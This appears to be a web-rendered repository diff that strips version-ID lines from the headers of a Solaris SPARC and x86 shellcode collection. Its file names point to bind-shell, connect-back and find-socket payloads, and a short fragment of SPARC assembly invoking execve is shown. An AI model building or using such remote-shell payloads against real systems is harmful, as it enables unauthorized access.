mov 0x3b,%g1
|
||||
ta 0x08
|
||||
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-sparc-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-sparc-shellcode.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-sparc-shellcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-sparc-shellcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
@ -49,3 +47,4 @@ shellcode:
|
|||
sub %sp,0x10,%o1
|
||||
mov 0x3b,%g1
|
||||
ta 0x08
|
||||
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-bndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-bndsockcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-bndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-bndsockcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-cntsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-cntsockcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-cntsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-cntsockcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-fndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-fndsockcode.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-fndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-fndsockcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-shellcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: sol-x86-shellcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* sol-x86-shellcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
Loading…
Reference in New Issue